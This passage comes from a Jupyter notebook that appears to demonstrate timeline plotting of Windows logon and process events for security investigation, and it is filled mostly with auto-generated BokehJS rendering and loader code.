%H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2691\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"#FDE724\"},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2704\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"2649\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2751\",\"type\":\"DaysTicker\"},{\"attributes\":{\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"2652\",\"type\":\"DatetimeTicker\"}},\"id\":\"2655\",\"type\":\"Grid\"},{\"attributes\":{\"callback\":null,\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\"],\"LogonType\":[3],\"TargetLogonId\":[\"0xfb5ee6\"],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkI=\",\"dtype\":\"float64\",\"shape\":[1]},\"index\":[2],\"y_index\":[0]},\"selected\":{\"id\":\"2760\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"2759\",\"type\":\"UnionRenderers\"}},\"id\":\"2636\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2713\",\"type\":\"DatetimeTickFormatter\"},\"ticker\":{\"id\":\"2652\",\"type\":\"DatetimeTicker\"}},\"id\":\"2651\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"2680\",\"type\":\"LinearScale\"},{\"attributes\":{\"overlay\":{\"id\":\"2709\",\"type\":\"BoxAnnotation\"},\"x_range\":{\"id\":\"2643\",\"type\":\"Range1d\"},\"y_range\":null},\"id\":\"2708\",\"type\":\"RangeTool\"},{\"attributes\":{\"dimension\":1,\"grid_line_color\":null,\"ticker\":{\"id\":\"2657\",\"type\":\"BasicTicker\"}},\"id\":\"2660\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"2637\",\"type\":\"ColumnDataSource\"}},\"id\":\"2702\",\"type\":\"CDSView\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2661\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"callback\":null,\"end\":1547531229369.95,\"start\":1547514633423.05},\"id\":\"2676\",\"type\":\"Range1d\"},{\"attributes\":{\"overlay\":{\"id\":\"2767\",\"type\":\"BoxAnnotation\"}},\"id\":\"2662\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"data_source\":{\"id\":\"2638\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"2704\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2705\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"2707\",\"type\":\"CDSView\"}},\"id\":\"2706\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"source\":{\"id\":\"2638\",\"type\":\"ColumnDataSource\"}},\"id\":\"2707\",\"type\":\"CDSView\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2639\",\"type\":\"HoverTool\"},{\"id\":\"2661\",\"type\":\"WheelZoomTool\"},{\"id\":\"2662\",\"type\":\"BoxZoomTool\"},{\"id\":\"2663\",\"type\":\"ResetTool\"},{\"id\":\"2664\",\"type\":\"SaveTool\"},{\"id\":\"2665\",\"type\":\"PanTool\"}]},\"id\":\"2666\",\"type\":\"Toolbar\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2713\",\"type\":\"DatetimeTickFormatter\"}],\"root_ids\":[\"2740\"]},\"title\":\"Bokeh Application\",\"version\":\"1.4.0\"}};\n", " var render_items = [{\"docid\":\"b13a39f2-fbbd-41e6-853e-ec0cc6a823ec\",\"roots\":{\"2740\":\"fea6c334-9267-46cd-91fe-dbff3cfea814\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " clearInterval(timer);\n", " embed_document(root);\n", " } else {\n", " attempts++;\n", " if (attempts > 100) {\n", " clearInterval(timer);\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", " }\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "2740" } }, "output_type": "display_data" } ], "source": [ "fake_alert = processes_on_host.sample().iloc[0]\n", "\n", "nbdisplay.display_timeline(host_logons,\n", " title=\"Processes with marker\",\n", " group_by=\"LogonType\",\n", " source_columns=[\"Account\", \"TargetLogonId\", \"LogonType\"],\n", " alert=fake_alert,\n", " legend=\"left\");" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Plotting series from different data sets\n", "When you want to plot data sets with different schema on the same plot it is difficult to put them in a single DataFrame.\n", "To do this we need to assemble the different data sets into a dictionary and pass that to the `display_timeline`\n", "\n", "The dictionary has this format:\n", "\n", "Key: str\n", " Name of data set to be displayed in legend\n", " \n", "Value: dict, the value holds the settings for each data series:\n", "\n", " data: pd.DataFrame\n", " Data to plot\n", " time_column: str, optional\n", " Name of the timestamp column\n", " (defaults to `time_column` function parameter)\n", " source_columns: list[str], optional\n", " List of source columns to use in tooltips\n", " (defaults to `source_columns` function parameter)\n", " color: str, optional\n", " Color of datapoints for this data\n", " (defaults to autogenerating colors)\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:29.523588Z", "start_time": "2020-01-30T20:46:29.430641Z" } }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? 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\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"3027\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"3027\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '3027' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"3027\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
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Processes\"},\"id\":\"3032\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"3055\",\"type\":\"SaveTool\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"3129\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"3056\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"3054\",\"type\":\"ResetTool\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"3137\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3091\",\"type\":\"Circle\"},{\"attributes\":{},\"id\":\"3134\",\"type\":\"Selection\"},{\"attributes\":{\"data_source\":{\"id\":\"3029\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"3107\",\"type\":\"Diamond\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"3108\",\"type\":\"Diamond\"},\"selection_glyph\":null,\"view\":{\"id\":\"3110\",\"type\":\"CDSView\"}},\"id\":\"3109\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"3136\",\"type\":\"Selection\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"3138\",\"type\":\"AdaptiveTicker\"},{\"id\":\"3139\",\"type\":\"AdaptiveTicker\"},{\"id\":\"3140\",\"type\":\"AdaptiveTicker\"},{\"id\":\"3141\",\"type\":\"DaysTicker\"},{\"id\":\"3142\",\"type\":\"DaysTicker\"},{\"id\":\"3143\",\"type\":\"DaysTicker\"},{\"id\":\"3144\",\"type\":\"DaysTicker\"},{\"id\":\"3145\",\"type\":\"MonthsTicker\"},{\"id\":\"3146\",\"type\":\"MonthsTicker\"},{\"id\":\"3147\",\"type\":\"MonthsTicker\"},{\"id\":\"3148\",\"type\":\"MonthsTicker\"},{\"id\":\"3149\",\"type\":\"YearsTicker\"}]},\"id\":\"3076\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"3133\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"formatter\":{\"id\":\"3082\",\"type\":\"DatetimeTickFormatter\"},\"ticker\":{\"id\":\"3076\",\"type\":\"DatetimeTicker\"}},\"id\":\"3075\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"3132\",\"type\":\"YearsTicker\"},{\"attributes\":{},\"id\":\"3071\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"3131\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"3135\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"ticker\":{\"id\":\"3076\",\"type\":\"DatetimeTicker\"}},\"id\":\"3079\",\"type\":\"Grid\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"3130\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"3108\",\"type\":\"Diamond\"}],\"root_ids\":[\"3114\"]},\"title\":\"Bokeh Application\",\"version\":\"1.4.0\"}};\n", " var render_items = [{\"docid\":\"a98d6ca0-0ff8-4186-b40b-a3e1c51f9856\",\"roots\":{\"3114\":\"80371be8-f11f-4566-b97d-5a940dbd9e35\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " clearInterval(timer);\n", " embed_document(root);\n", " } else {\n", " attempts++;\n", " if (attempts > 100) {\n", " clearInterval(timer);\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", " }\n", " }\n", " }, 10, root)\n", " }\n", "})(window);" ], "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "3114" } }, "output_type": "display_data" } ], "source": [ "procs_and_logons = {\n", " \"Processes\" : {\"data\": processes_on_host, \"source_columns\": [\"NewProcessName\", \"Account\"]},\n", " \"Logons\": {\"data\": host_logons, \"source_columns\": [\"Account\", \"TargetLogonId\", \"LogonType\"]}\n", "}\n", "\n", "nbdisplay.display_timeline(data=procs_and_logons,\n", " title=\"Logons and Processes\",\n", " legend=\"left\", yaxis=False);" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Plotting Series with Scalar Values\n", "Often you may want to see a scalar value plotted with the series. \n", "\n", "The example below uses `display_timeline_values` to plot network flow data using the total flows recorded between a pair of IP addresses.\n", "\n", "Note that the majority of parameters are the same as `display_timeline` but include a mandatory `y` parameter which indicates which value you want to plot on the y (vertical) axis." ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:29.721503Z", "start_time": "2020-01-30T20:46:29.525587Z" }, "scrolled": false }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? 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\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"3371\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"3371\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '3371' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"3371\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " 